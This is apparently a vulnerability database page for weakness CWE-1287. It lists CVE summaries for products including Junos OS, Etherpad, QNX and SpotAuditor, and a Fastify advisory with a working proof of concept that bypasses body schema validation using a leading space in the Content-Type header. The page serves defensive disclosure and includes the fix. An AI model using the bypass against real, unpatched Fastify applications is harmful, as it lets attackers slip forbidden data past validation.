Common Weakness Enumeration
CWE-1287
AllowedImproper Validation of Specified Type of Input
Abstraction: Base · Status: Incomplete
The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type.
275 vulnerabilities reference this CWE, most recent first.
CVE-2022-31007 (GCVE-0-2022-31007)
Vulnerability from cvelistv5 – Published: 2022-05-31 19:30 – Updated: 2025-04-23 18:21
VLAI
EPSS
VEX
Title
Privilege escalation from administrator in eLabFTW
Summary
eLabFTW is an electronic lab notebook manager for research teams. Prior to version 4.3.0, a vulnerability allows an authenticated user with an administrator role in a team to assign itself system administrator privileges within the application, or create a new system administrator account. The issue has been corrected in eLabFTW version 4.3.0. In the context of eLabFTW, an administrator is a user account with certain privileges to manage users and content in their assigned team/teams. A system administrator account can manage all accounts, teams and edit system-wide settings within the application. The impact is not deemed as high, as it requires the attacker to have access to an administrator account. Regular user accounts cannot exploit this to gain admin rights. A workaround for one if the issues is removing the ability of administrators to create accounts.
Severity
4.9 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-04-23 14:06 UTC
CWE
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/elabftw/elabftw/security/advis… | x_refsource_CONFIRM |
| https://github.com/elabftw/elabftw/releases/tag/4.3.0 | x_refsource_MISC |
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CVE-2022-22228 (GCVE-0-2022-22228)
Vulnerability from cvelistv5 – Published: 2022-10-18 02:46 – Updated: 2025-05-12 14:29
VLAI
EPSS
VEX
Title
Junos OS: IPv6 OAM SRv6 network-enabled devices are vulnerable to Denial of Service (DoS) due to RPD memory leak upon receipt of specific a IPv6 packet
Summary
An Improper Validation of Specified Type of Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS allows an attacker to cause an RPD memory leak leading to a Denial of Service (DoS). This memory leak only occurs when the attacker's packets are destined to any configured IPv6 address on the device. This issue affects: Juniper Networks Junos OS 21.1 versions prior to 21.1R3-S2; 21.2 versions prior to 21.2R3-S1; 21.3 versions prior to 21.3R3; 21.4 versions prior to 21.4R2; 22.1 versions prior to 22.1R2. This issue does not affect Juniper Networks Junos OS versions prior to 21.1R1.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-05-12 14:29 UTC
CWE
- CWE-1287 - Improper Validation of Specified Type of Input
- Memory Leak
- Denial of Service (DoS)
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://kb.juniper.net/JSA69880 |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Juniper Networks | Junos OS |
Unaffected:
unspecified , < 21.1R1
(custom)
Affected: 21.1 , < 21.1R3-S2 (custom) Affected: 21.2 , < 21.2R3-S1 (custom) Affected: 21.3 , < 21.3R3 (custom) Affected: 21.4 , < 21.4R2 (custom) Affected: 22.1 , < 22.1R2 (custom) |
Date Public
2022-10-12 00:00
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CVE-2022-22168 (GCVE-0-2022-22168)
Vulnerability from cvelistv5 – Published: 2022-01-19 00:21 – Updated: 2024-09-17 04:10
VLAI
EPSS
VEX
Title
Junos OS: vMX and MX150: Specific packets might cause a memory leak and eventually an FPC reboot
Summary
An Improper Validation of Specified Type of Input vulnerability in the kernel of Juniper Networks Junos OS allows an unauthenticated adjacent attacker to trigger a Missing Release of Memory after Effective Lifetime vulnerability. Continued exploitation of this vulnerability will eventually lead to an FPC reboot and thereby a Denial of Service (DoS). This issue affects: Juniper Networks Junos OS on vMX and MX150: All versions prior to 19.2R1-S8, 19.2R3-S4; 19.3 versions prior to 19.3R3-S5; 19.4 versions prior to 19.4R2-S5, 19.4R3-S6; 20.1 versions prior to 20.1R3-S2; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R3; 21.1 versions prior to 21.1R2-S1, 21.1R3; 21.2 versions prior to 21.2R1-S1, 21.2R2; 21.3 versions prior to 21.3R1-S1, 21.3R2.
Severity
6.5 (Medium)
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://kb.juniper.net/JSA11275 | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Juniper Networks | Junos OS |
Affected:
unspecified , < 19.2R1-S8, 19.2R3-S4
(custom)
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Date Public
2022-01-12 00:00
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CVE-2022-20783 (GCVE-0-2022-20783)
Vulnerability from cvelistv5 – Published: 2022-04-21 18:50 – Updated: 2024-11-06 16:23
VLAI
EPSS
VEX
Title
Cisco TelePresence Collaboration Endpoint and RoomOS Software H.323 Denial of Service Vulnerability
Summary
A vulnerability in the packet processing functionality of Cisco TelePresence Collaboration Endpoint (CE) Software and Cisco RoomOS Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by sending crafted H.323 traffic to an affected device. A successful exploit could allow the attacker to cause the affected device to either reboot normally or reboot into maintenance mode, which could result in a DoS condition on the device.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-11-06 16:01 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://tools.cisco.com/security/center/content/C… | vendor-advisoryx_refsource_CISCO |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Cisco | Cisco RoomOS Software |
Affected:
n/a
|
Date Public
2022-04-20 00:00
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CVE-2021-44694 (GCVE-0-2021-44694)
Vulnerability from cvelistv5 – Published: 2022-12-13 00:00 – Updated: 2025-04-21 13:45
VLAI
EPSS
VEX
Summary
Affected devices don't process correctly certain special crafted packets sent to port 102/tcp, which could allow an attacker to cause a denial of service in the device.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-04-18 15:15 UTC
CWE
- CWE-1287 - Improper Validation of Specified Type of Input
Assigner
References
1 reference
Impacted products
77 products
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],
"descriptions": [
{
"lang": "en",
"value": "Affected devices don\u0027t process correctly certain special crafted packets sent to port 102/tcp, which could allow an attacker to cause a denial of service in the device."
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],
"metrics": [
{
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"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H/E:P/RL:O/RC:C",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1287",
"description": "CWE-1287: Improper Validation of Specified Type of Input",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-09-12T09:31:54.785Z",
"orgId": "cec7a2ec-15b4-4faf-bd53-b40f371f3a77",
"shortName": "siemens"
},
"references": [
{
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-382653.pdf"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "cec7a2ec-15b4-4faf-bd53-b40f371f3a77",
"assignerShortName": "siemens",
"cveId": "CVE-2021-44694",
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CVE-2021-43802 (GCVE-0-2021-43802)
Vulnerability from cvelistv5 – Published: 2021-12-09 22:35 – Updated: 2024-08-04 04:03
VLAI
EPSS
VEX
Title
Admin privilege escalation and arbitrary code execution via malicious *.etherpad imports
Summary
Etherpad is a real-time collaborative editor. In versions prior to 1.8.16, an attacker can craft an `*.etherpad` file that, when imported, might allow the attacker to gain admin privileges for the Etherpad instance. This, in turn, can be used to install a malicious Etherpad plugin that can execute arbitrary code (including system commands). To gain privileges, the attacker must be able to trigger deletion of `express-session` state or wait for old `express-session` state to be cleaned up. Core Etherpad does not delete any `express-session` state, so the only known attacks require either a plugin that can delete session state or a custom cleanup process (such as a cron job that deletes old `sessionstorage:*` records). The problem has been fixed in version 1.8.16. If users cannot upgrade to 1.8.16 or install patches manually, several workarounds are available. Users may configure their reverse proxies to reject requests to `/p/*/import`, which will block all imports, not just `*.etherpad` imports; limit all users to read-only access; and/or prevent the reuse of `express_sid` cookie values that refer to deleted express-session state. More detailed information and general mitigation strategies may be found in the GitHub Security Advisory.
Severity
9.9 (Critical)
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/ether/etherpad-lite/security/a… | x_refsource_CONFIRM |
| https://github.com/ether/etherpad-lite/issues/5010 | x_refsource_MISC |
| https://github.com/ether/etherpad-lite/compare/b7… | x_refsource_MISC |
| https://github.com/ether/etherpad-lite/releases/t… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| ether | etherpad-lite |
Affected:
< 1.8.16
|
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CVE-2021-32024 (GCVE-0-2021-32024)
Vulnerability from cvelistv5 – Published: 2021-12-13 18:06 – Updated: 2025-09-09 15:07
VLAI
EPSS
VEX
Summary
A remote code execution vulnerability in the BMP image codec of BlackBerry QNX SDP version(s) 6.4 to 7.1 could allow an attacker to potentially execute code in the context of the affected process.
Severity
9.8 (Critical)
8.1 (High)
CWE
- CWE-1287 - Improper Validation of Specified Type of Input
Assigner
References
1 reference
| URL | Tags |
|---|---|
| http://support.blackberry.com/kb/articleDetail?ar… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| BlackBerry | QNX Software Development Platform (SDP) |
Affected:
6.4.0 , ≤ 6.6.0
(custom)
Affected: 7.0 , ≤ 7.1 (custom) |
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CVE-2021-20329 (GCVE-0-2021-20329)
Vulnerability from cvelistv5 – Published: 2021-06-10 16:30 – Updated: 2024-09-16 22:55
VLAI
EPSS
VEX
Title
Specific cstrings input may not be properly validated in the Go Driver
Summary
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Severity
6.8 (Medium)
CWE
- CWE-1287 - Improper Validation of Specified Type of Input
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/mongodb/mongo-go-driver/releas… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| MongoDB Inc. | MongoDB Go Driver |
Affected:
1.0 , ≤ 1.5.0
(custom)
|
Date Public
2021-06-09 23:00
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CVE-2019-25596 (GCVE-0-2019-25596)
Vulnerability from cvelistv5 – Published: 2026-03-22 13:38 – Updated: 2026-03-23 15:31
VLAI
EPSS
VEX
Title
SpotAuditor 5.2.6 Name Field Denial of Service
Summary
SpotAuditor 5.2.6 contains a denial of service vulnerability in the registration dialog that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a buffer of 300 repeated characters into the Name input during registration to trigger an application crash.
Severity
6.2 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-23 15:31 UTC
CWE
- CWE-1287 - Improper Validation of Specified Type of Input
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46778 | exploit |
| http://spotauditor.nsauditor.com/downloads/spotau… | product |
| https://www.vulncheck.com/advisories/spotauditor-… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Nsauditor | SpotAuditor |
Affected:
5.2.6
cpe:2.3:a:nsasoft:spotauditor:5.2.6:*:*:*:*:*:*:* |
Date Public
2019-04-27 00:00
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GHSA-247C-9743-5963
Vulnerability from github – Published: 2026-04-15 19:24 – Updated: 2026-04-24 20:42
VLAI
Summary
Fastify has a Body Schema Validation Bypass via Leading Space in Content-Type Header
Details
Summary
A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped.
This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).
Details
The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently.
Parser path (lib/content-type.js, line ~67) applies trimStart() before processing:
const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()
// ' application/json' → trimStart() → 'application/json' → body is parsed ✓
Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:
function getEssenceMediaType(header) {
if (!header) return ''
return header.split(/[ ;]/, 1)[0].trim().toLowerCase()
}
// ' application/json'.split(/[ ;]/, 1) → [''] (splits on the leading space!)
// ''.trim() → ''
// context[bodySchema][''] → undefined → NO validator found → validation skipped!
The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely.
Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.
PoC
const fastify = require('fastify')({ logger: false });
fastify.post('/transfer', {
schema: {
body: {
content: {
'application/json': {
schema: {
type: 'object',
required: ['amount', 'recipient'],
properties: {
amount: { type: 'number', maximum: 1000 },
recipient: { type: 'string', maxLength: 50 },
admin: { type: 'boolean', enum: [false] }
},
additionalProperties: false
}
}
}
}
}
}, async (request) => {
return { processed: true, data: request.body };
});
(async () => {
await fastify.ready();
// BLOCKED — normal request with invalid payload
const res1 = await fastify.inject({
method: 'POST',
url: '/transfer',
headers: { 'content-type': 'application/json' },
payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
});
console.log('Normal:', res1.statusCode);
// → 400 FST_ERR_VALIDATION
// BYPASS — single leading space
const res2 = await fastify.inject({
method: 'POST',
url: '/transfer',
headers: { 'content-type': ' application/json' },
payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
});
console.log('Leading space:', res2.statusCode);
// → 200 (validation bypassed!)
console.log('Body:', res2.body);
await fastify.close();
})();
Output:
Normal: 400
Leading space: 200
Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}
Impact
Any Fastify application that relies on schema.body.content (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header.
This vulnerability is distinct from all previously patched content-type bypasses:
| CVE | Vector | Patched in 5.8.4? |
|---|---|---|
| CVE-2025-32442 | Casing / semicolon whitespace | ✅ Yes |
| CVE-2026-25223 | Tab character (\t) | ✅ Yes |
| CVE-2026-3419 | Trailing garbage after subtype | ✅ Yes |
| This finding | Leading space (\x20) | ❌ No |
Recommended fix — add trimStart() before the split in getEssenceMediaType:
function getEssenceMediaType(header) {
if (!header) return ''
return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()
}
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.4"
},
"package": {
"ecosystem": "npm",
"name": "fastify"
},
"ranges": [
{
"events": [
{
"introduced": "5.3.2"
},
{
"fixed": "5.8.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
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],
"database_specific": {
"cwe_ids": [
"CWE-1287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-15T19:24:41Z",
"nvd_published_at": "2026-04-15T04:17:36Z",
"severity": "HIGH"
},
"details": "### Summary\nA validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via `schema.body.content` can be completely circumvented by prepending a single space character (`\\x20`) to the `Content-Type` header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped.\nThis is a regression introduced by commit [`f3d2bcb`](https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (fix for [CVE-2025-32442](https://github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc)).\n\n### Details\nThe vulnerability is a **parser-validator differential** between two independent code paths that process the raw `Content-Type` header differently.\n**Parser path** (`lib/content-type.js`, line ~67) applies `trimStart()` before processing:\n```js\nconst type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()\n// \u0027 application/json\u0027 \u2192 trimStart() \u2192 \u0027application/json\u0027 \u2192 body is parsed \u2713\n```\n\n**Validator path** (`lib/validation.js`, line 272) splits on `/[ ;]/` before trimming:\n\n```js\nfunction getEssenceMediaType(header) {\n if (!header) return \u0027\u0027\n return header.split(/[ ;]/, 1)[0].trim().toLowerCase()\n}\n// \u0027 application/json\u0027.split(/[ ;]/, 1) \u2192 [\u0027\u0027] (splits on the leading space!)\n// \u0027\u0027.trim() \u2192 \u0027\u0027\n// context[bodySchema][\u0027\u0027] \u2192 undefined \u2192 NO validator found \u2192 validation skipped!\n```\n\nThe `ContentType` class applies `trimStart()` before processing, so the parser correctly identifies `application/json` and parses the body. However, `getEssenceMediaType` splits on `/[ ;]/` before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type `\"\"`, finds nothing, and skips validation entirely.\n**Regression source:** Commit [`f3d2bcb`](https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (April 18, 2025) changed the split delimiter from `\u0027;\u0027` to `/[ ;]/` to fix [CVE-2025-32442](https://github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc). The old code (`header.split(\u0027;\u0027, 1)[0].trim()`) was **not** vulnerable to this vector because `.trim()` would correctly handle the leading space. The new regex-based split introduced the regression.\n\n### PoC\n\n```js\nconst fastify = require(\u0027fastify\u0027)({ logger: false });\n\nfastify.post(\u0027/transfer\u0027, {\n schema: {\n body: {\n content: {\n \u0027application/json\u0027: {\n schema: {\n type: \u0027object\u0027,\n required: [\u0027amount\u0027, \u0027recipient\u0027],\n properties: {\n amount: { type: \u0027number\u0027, maximum: 1000 },\n recipient: { type: \u0027string\u0027, maxLength: 50 },\n admin: { type: \u0027boolean\u0027, enum: [false] }\n },\n additionalProperties: false\n }\n }\n }\n }\n }\n}, async (request) =\u003e {\n return { processed: true, data: request.body };\n});\n\n(async () =\u003e {\n await fastify.ready();\n\n // BLOCKED \u2014 normal request with invalid payload\n const res1 = await fastify.inject({\n method: \u0027POST\u0027,\n url: \u0027/transfer\u0027,\n headers: { \u0027content-type\u0027: \u0027application/json\u0027 },\n payload: JSON.stringify({ amount: 9999, recipient: \u0027EVIL\u0027, admin: true })\n });\n console.log(\u0027Normal:\u0027, res1.statusCode);\n // \u2192 400 FST_ERR_VALIDATION\n\n // BYPASS \u2014 single leading space\n const res2 = await fastify.inject({\n method: \u0027POST\u0027,\n url: \u0027/transfer\u0027,\n headers: { \u0027content-type\u0027: \u0027 application/json\u0027 },\n payload: JSON.stringify({ amount: 9999, recipient: \u0027EVIL\u0027, admin: true })\n });\n console.log(\u0027Leading space:\u0027, res2.statusCode);\n // \u2192 200 (validation bypassed!)\n console.log(\u0027Body:\u0027, res2.body);\n\n await fastify.close();\n})();\n```\n\n**Output:**\n```\nNormal: 400\nLeading space: 200\nBody: {\"processed\":true,\"data\":{\"amount\":9999,\"recipient\":\"EVIL\",\"admin\":true}}\n```\n\n### Impact\nAny Fastify application that relies on \u003ccode\u003eschema.body.content\u003c/code\u003e (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity \u2014 it is a single-character modification to an HTTP header.\nThis vulnerability is distinct from all previously patched content-type bypasses:\n\nCVE | Vector | Patched in 5.8.4?\n-- | -- | --\nCVE-2025-32442 | Casing / semicolon whitespace | \u2705 Yes\nCVE-2026-25223 | Tab character (\\t) | \u2705 Yes\nCVE-2026-3419 | Trailing garbage after subtype | \u2705 Yes\nThis finding | Leading space (\\x20) | \u274c No\n\n\n**Recommended fix** \u2014 add `trimStart()` before the split in `getEssenceMediaType`:\n```js\nfunction getEssenceMediaType(header) {\n if (!header) return \u0027\u0027\n return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()\n}\n```",
"id": "GHSA-247c-9743-5963",
"modified": "2026-04-24T20:42:06Z",
"published": "2026-04-15T19:24:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fastify/security/advisories/GHSA-247c-9743-5963"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32442"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33806"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fastify"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fastify/releases/tag/v5.8.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Fastify has a Body Schema Validation Bypass via Leading Space in Content-Type Header"
}
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
No CAPEC attack patterns related to this CWE.